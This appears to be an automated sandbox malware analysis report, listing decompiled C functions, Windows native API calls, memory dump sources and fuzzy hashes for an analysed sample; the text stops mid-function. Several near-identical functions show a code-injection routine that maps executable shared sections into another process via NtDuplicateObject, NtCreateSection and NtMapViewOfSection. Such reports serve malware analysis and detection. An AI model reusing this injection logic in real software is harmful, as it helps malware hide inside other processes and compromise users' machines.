Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction ID: 515f5f5985279033342f6d13e0d75d2e799464d7355665022411b06cc3c0c42c
Opcode Fuzzy Hash: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction Fuzzy Hash: 991129F2608285EBD7005BA18DA2EA937659F01710F20057BF6037E0F2D53D9513EB1B

Uniqueness

Uniqueness Score: -1.00%

Function 0040196C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040196C(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				intOrPtr* _t13;
				void* _t23;

				_t19 = __edi;
				_pop(es);
				asm("sbb bh, [eax+ebp*2]");
				_push(0xc5);
				L004011F5(__edi, __eflags);
				_t13 =  *((intOrPtr*)(_t23 + 8));
				Sleep(0x1388);
				_push(_t23 - 4);
				_push( *((intOrPtr*)(_t23 + 0x10)));
				_push( *((intOrPtr*)(_t23 + 0xc)));
				_push(_t13); // executed
				_t9 = L00401467(__edi, __esi); // executed
				_t29 = _t9;
				if(_t9 != 0) {
					E00401558(_t13, _t9,  *((intOrPtr*)(_t23 - 4)),  *((intOrPtr*)(_t23 + 0x14))); // executed
				}
				 *_t13(0xffffffff, 0);
				_t11 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t29);
				return _t11;
			}

0x0040196c
0x0040196c
0x0040196d
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction ID: 3e47f40c2c79a3419effdd93610d16f961f2ccd470e9348de27537ec9d0296a5
Opcode Fuzzy Hash: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction Fuzzy Hash: CA01F2B2208244EFCB005BE58CA1EAA3765AB05315F300133F603B90F2C93C8512EB6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 023F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 023F0966
., xrefs: 023F095F
GetProcAddress., xrefs: 023F09DC, 023F09DF, 023F09E4

Memory Dump Source

Source File: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023F0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 5bfd2631c23e799908e91e5e44e04decb8d9544099f98826c94581bca3620fa0
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: F1318AB6900609CFEB14CF99D880AAEBBF9FF08324F14404AD941A7325D771EA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C9B3 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.379898247.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0fe0d3573ad87cc5a69b31d7f970e9cef36ac1dd391317e0a2a28958388d2b
Instruction ID: 89749d14a37d9f533ac23fd4a0a322d2817725fe8d795222b5e38ab43a28c830
Opcode Fuzzy Hash: cd0fe0d3573ad87cc5a69b31d7f970e9cef36ac1dd391317e0a2a28958388d2b
Instruction Fuzzy Hash: CCA18D31610609CFD718CF18C4D6A657BA0FF05354B2987AEE99A9F2E1C738E951CB48

Uniqueness

Uniqueness Score: -1.00%

Function 023F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023F0000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: c910d28e80a456aee6d0d9f21cd52f6b4ecb506da608a48c7aca2698276de3ce
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 33012B736116008FDF65CF28E904BAA33F5FB85206F0540B5EA06D7347E370A841CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0040E677 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E69D

Part of subcall function 0040E4C2: __fltout2.LIBCMT ref: 0040E4EE

__cftog_l.LIBCMT ref: 0040E6C3
__cftoe_l.LIBCMT ref: 0040E6F5

Memory Dump Source

Source File: 00000000.00000002.379898247.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: acc13cb3f66903cd5af19021ab7f63e6ce0173ce80a6ae777747199e4b011bbd
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 2E11873240014EBBCF125E86DC01CEE3F22BB28354F588826FA19651B0C63BC971AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hwgujdvPID: 5940, Parent PID: 1080COMMON

Executed Functions

Function 00401558 Relevance: 10.7, APIs: 7, Instructions: 206
nativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401558(intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				struct _EXCEPTION_RECORD _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __edi;
				intOrPtr _t87;
				struct _EXCEPTION_RECORD _t90;
				intOrPtr _t91;
				struct _GUID _t97;
				struct _GUID _t99;
				long _t100;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t183;
				intOrPtr* _t184;
				HANDLE* _t185;
				HANDLE* _t186;
				intOrPtr _t199;
				void* _t200;
				intOrPtr* _t201;
				void* _t205;

				_push(0x387);
				_t201 = _t200 + 4;
				_push(0x83);
				L004011F5(_t175, _t205);
				_t127 = _a4;
				_t176 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t183 =  &_v100;
				 *_t183 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t183);
				_t90 =  *_t183;
				if(_t90 != 0) {
					_t132 =  &_v52;
					 *_t132 = _t90;
					 *(_t132 + 4) = _t176;
					_t184 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_push( &_v52);
					_push(_t184);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t176, _t176, 2) == 0) {
						_v12 = _t176;
						_t97 =  &_v84;
						 *(_t97 + 4) = _t176;
						 *_t97 = 0x5000;
						_t185 =  &_v88;
						if(NtCreateSection(_t185, 6, _t176, _t97, 4, 0x8000000, _t176) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t121, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t176;
								if(NtMapViewOfSection( *_t185, _v16, _t123, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
									_t199 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t199, 0x104);
									 *((intOrPtr*)(_t199 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t99 =  &_v84;
						 *(_t99 + 4) = _t176;
						 *_t99 = _a12 + 0x10000;
						_t186 =  &_v92;
						_t100 = NtCreateSection(_t186, 0xe, _t176, _t99, 0x40, 0x8000000, _t176);
						if (_t100 != 0) goto L67;
						 *_t100 =  *_t100 + _t100;
					}
				}
				_push(0x15a4);
				_t91 =  *_t201;
				_push(0x83);
				L004011F5(_t176, _t226);
				return _t91;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction ID: 4afb5ad6e9f78dbb0f0fc4dd380045413720c66cee1019041566b0107d6eeca4
Opcode Fuzzy Hash: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction Fuzzy Hash: 2F615E71900208FBEB209F91CC49FAF7BB8EF85B14F10412AF912BA1E5D6749901DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00401564(void* __eax, void* __edx, void* __esi) {
				intOrPtr _t89;
				struct _EXCEPTION_RECORD _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t129;
				struct _EXCEPTION_RECORD* _t135;
				void* _t179;
				struct _EXCEPTION_RECORD _t180;
				struct _EXCEPTION_RECORD* _t190;
				intOrPtr* _t192;
				HANDLE* _t193;
				HANDLE* _t194;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t216;

				_t216 = __eax + 0x15a4b8;
				_push(0x387);
				_t211 = _t210 + 4;
				_push(0x83);
				L004011F5(_t179, _t216);
				_t129 =  *((intOrPtr*)(_t208 + 8));
				_t180 = 0;
				 *((intOrPtr*)(_t208 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t208 - 0x34)) =  *((intOrPtr*)(_t208 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t89;
				_t190 = _t208 - 0x60;
				 *_t190 = _t180;
				 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t190);
				_t92 =  *_t190;
				if(_t92 != 0) {
					_t135 = _t208 - 0x30;
					 *_t135 = _t92;
					 *(_t135 + 4) = _t180;
					_t192 = _t208 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t192, 0x18);
					 *_t192 = 0x18;
					_push(_t208 - 0x30);
					_push(_t192);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t180, _t180, 2) == 0) {
						 *(_t208 - 8) = _t180;
						_t99 = _t208 - 0x50;
						 *(_t99 + 4) = _t180;
						 *_t99 = 0x5000;
						_t193 = _t208 - 0x54;
						if(NtCreateSection(_t193, 6, _t180, _t99, 4, 0x8000000, _t180) == 0) {
							 *_t25 =  *(_t208 - 0x50);
							_t123 = _t208 - 0x44;
							 *_t123 = _t180;
							if(NtMapViewOfSection( *_t193, 0xffffffff, _t123, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
								_t125 = _t208 - 0x3c;
								 *_t125 = _t180;
								if(NtMapViewOfSection( *_t193,  *(_t208 - 0xc), _t125, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
									_t207 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t180, _t207, 0x104);
									 *((intOrPtr*)(_t207 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t180;
						 *_t101 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t194 = _t208 - 0x58;
						_t102 = NtCreateSection(_t194, 0xe, _t180, _t101, 0x40, 0x8000000, _t180);
						if (_t102 != 0) goto L66;
						 *_t102 =  *_t102 + _t102;
					}
				}
				_push(0x15a4);
				_t93 =  *_t211;
				_push(0x83);
				L004011F5(_t180, _t237);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction ID: 3c61d4fa49215657d74707620d36eaa57d50516e3f831c539a14d6838cb40392
Opcode Fuzzy Hash: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction Fuzzy Hash: 23513CB1900249FBEB209F91CC49FAF7BB8EF85710F14412AF911BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401577() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				intOrPtr* _t205;
				void* _t210;

				asm("repe push 0x387");
				_push(0x387);
				_t205 = _t204 + 4;
				_push(0x83);
				L004011F5(_t175, _t210);
				_t126 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L63;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t205;
				_push(0x83);
				L004011F5(_t176, _t231);
				return _t90;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction ID: ba3189e89dbc592d8eefb072767128172b6b3105eb2a85c49d1307986ab5c8dd
Opcode Fuzzy Hash: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction Fuzzy Hash: 9D511B71900249BFEB209F91CC48FAF7BB8FF85B14F10412AFA11BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401523 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401523(void* __eax, void* __esi, void* __eflags) {
				long _t89;
				long _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				long _t100;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				long _t124;
				PVOID* _t125;
				long _t126;
				intOrPtr _t129;
				long* _t134;
				void* _t176;
				struct _EXCEPTION_RECORD _t177;
				struct _EXCEPTION_RECORD* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				intOrPtr* _t207;

				asm("outsd");
				asm("out 0x70, al");
				if(__eflags > 0) {
					L004011F5(_t176, __eflags);
					_t129 =  *((intOrPtr*)(_t205 + 8));
					_t177 = 0;
					 *(_t205 - 0x34) = 0;
					__eflags = gs;
					if(gs != 0) {
						_t4 = _t205 - 0x34;
						 *_t4 =  *(_t205 - 0x34) + 1;
						__eflags =  *_t4;
					}
					while(1) {
						_t89 =  *((intOrPtr*)(_t129 + 0x48))();
						__eflags = _t89;
						if(_t89 != 0) {
							break;
						}
						 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
					}
					 *(_t205 - 0x5c) = _t89;
					_t187 = _t205 - 0x60;
					 *_t187 = _t177;
					 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t187);
					_t92 =  *_t187;
					__eflags = _t92;
					if(__eflags != 0) {
						_t134 = _t205 - 0x30;
						 *_t134 = _t92;
						_t134[1] = _t177;
						_t189 = _t205 - 0x28;
						 *((intOrPtr*)(_t129 + 0x10))(_t189, 0x18);
						 *_t189 = 0x18;
						__eflags =  *((intOrPtr*)(_t129 + 0x70))(_t205 - 0x10, 0x40, _t189, _t205 - 0x30);
						if(__eflags == 0) {
							__eflags = NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t177, _t177, 2);
							if(__eflags == 0) {
								 *(_t205 - 8) = _t177;
								_t99 = _t205 - 0x50;
								 *(_t99 + 4) = _t177;
								 *_t99 = 0x5000;
								_t190 = _t205 - 0x54;
								_t100 = NtCreateSection(_t190, 6, _t177, _t99, 4, 0x8000000, _t177);
								__eflags = _t100;
								if(_t100 == 0) {
									 *_t26 =  *(_t205 - 0x50);
									_t123 = _t205 - 0x44;
									 *_t123 = _t177;
									_t124 = NtMapViewOfSection( *_t190, 0xffffffff, _t123, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
									__eflags = _t124;
									if(_t124 == 0) {
										_t125 = _t205 - 0x3c;
										 *_t125 = _t177;
										_t126 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t125, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
										__eflags = _t126;
										if(_t126 == 0) {
											_t204 =  *(_t205 - 0x44);
											 *((intOrPtr*)(_t129 + 0x20))(_t177, _t204, 0x104);
											 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
											_t38 = _t205 - 8;
											 *_t38 =  *(_t205 - 8) + 1;
											__eflags =  *_t38;
										}
									}
								}
								_t101 = _t205 - 0x50;
								 *(_t101 + 4) = _t177;
								 *_t101 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
								_t191 = _t205 - 0x58;
								_t102 = NtCreateSection(_t191, 0xe, _t177, _t101, 0x40, 0x8000000, _t177);
								__eflags = _t102;
								if (_t102 != 0) goto L60;
								 *_t102 =  *_t102 + _t102;
								__eflags =  *_t102;
							}
						}
					}
					_push(0x15a4);
					_t93 =  *_t207;
					_push(0x83);
					L004011F5(_t177, __eflags);
					return _t93;
				} else {
					asm("popfd");
					asm("repe add al, 0x9b");
					asm("wait");
					asm("wait");
					return __esi;
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685

Memory Dump Source

Source File: 00000004.00000002.445240693.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$CreateDuplicateObject
String ID:
API String ID: 3617974760-0
Opcode ID: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction ID: c9dca56e4daa214b2bd9150ebf0f157daf6c833c296841cdcd3f7df5e4c146b1
Opcode Fuzzy Hash: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction Fuzzy Hash: 91510A71900249BFEB209F92CC48F9FBBB8FF85B14F14411AFA11BA2A5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040158C(void* __eax, void* __edi) {
				void* _t89;
				intOrPtr _t91;
				struct _EXCEPTION_RECORD _t94;
				intOrPtr _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				long _t104;
				PVOID* _t125;
				PVOID* _t127;
				intOrPtr _t131;
				struct _EXCEPTION_RECORD* _t136;
				void* _t180;
				struct _EXCEPTION_RECORD _t181;
				struct _EXCEPTION_RECORD* _t189;
				intOrPtr* _t191;
				HANDLE* _t192;
				HANDLE* _t193;
				void* _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr _t216;

				_t211 = _t210 + 1;
				asm("clc");
				asm("stc");
				_t89 = _t207;
				_t208 = __eax;
				_t180 = __edi - 1;
				_t2 = _t89 - 0x7d;
				 *_t2 =  *((intOrPtr*)(_t89 - 0x7d));
				_t216 =  *_t2;
				_push(0x83);
				L004011F5(_t180, _t216);
				_t131 =  *((intOrPtr*)(__eax + 8));
				_t181 = 0;
				 *((intOrPtr*)(__eax - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(__eax - 0x34)) =  *((intOrPtr*)(__eax - 0x34)) + 1;
				}
				while(1) {
					_t91 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t91 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t91;
				_t189 = _t208 - 0x60;
				 *_t189 = _t181;
				 *((intOrPtr*)(_t131 + 0x4c))(_t91, _t189);
				_t94 =  *_t189;
				if(_t94 != 0) {
					_t136 = _t208 - 0x30;
					 *_t136 = _t94;
					 *(_t136 + 4) = _t181;
					_t191 = _t208 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t191, 0x18);
					 *_t191 = 0x18;
					_push(_t208 - 0x30);
					_push(_t191);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t181, _t181, 2) == 0) {
						 *(_t208 - 8) = _t181;
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t181;
						 *_t101 = 0x5000;
						_t192 = _t208 - 0x54;
						if(NtCreateSection(_t192, 6, _t181, _t101, 4, 0x8000000, _t181) == 0) {
							 *_t28 =  *(_t208 - 0x50);
							_t125 = _t208 - 0x44;
							 *_t125 = _t181;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t125, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
								_t127 = _t208 - 0x3c;
								 *_t127 = _t181;
								if(NtMapViewOfSection( *_t192,  *(_t208 - 0xc), _t127, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
									_t206 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t181, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
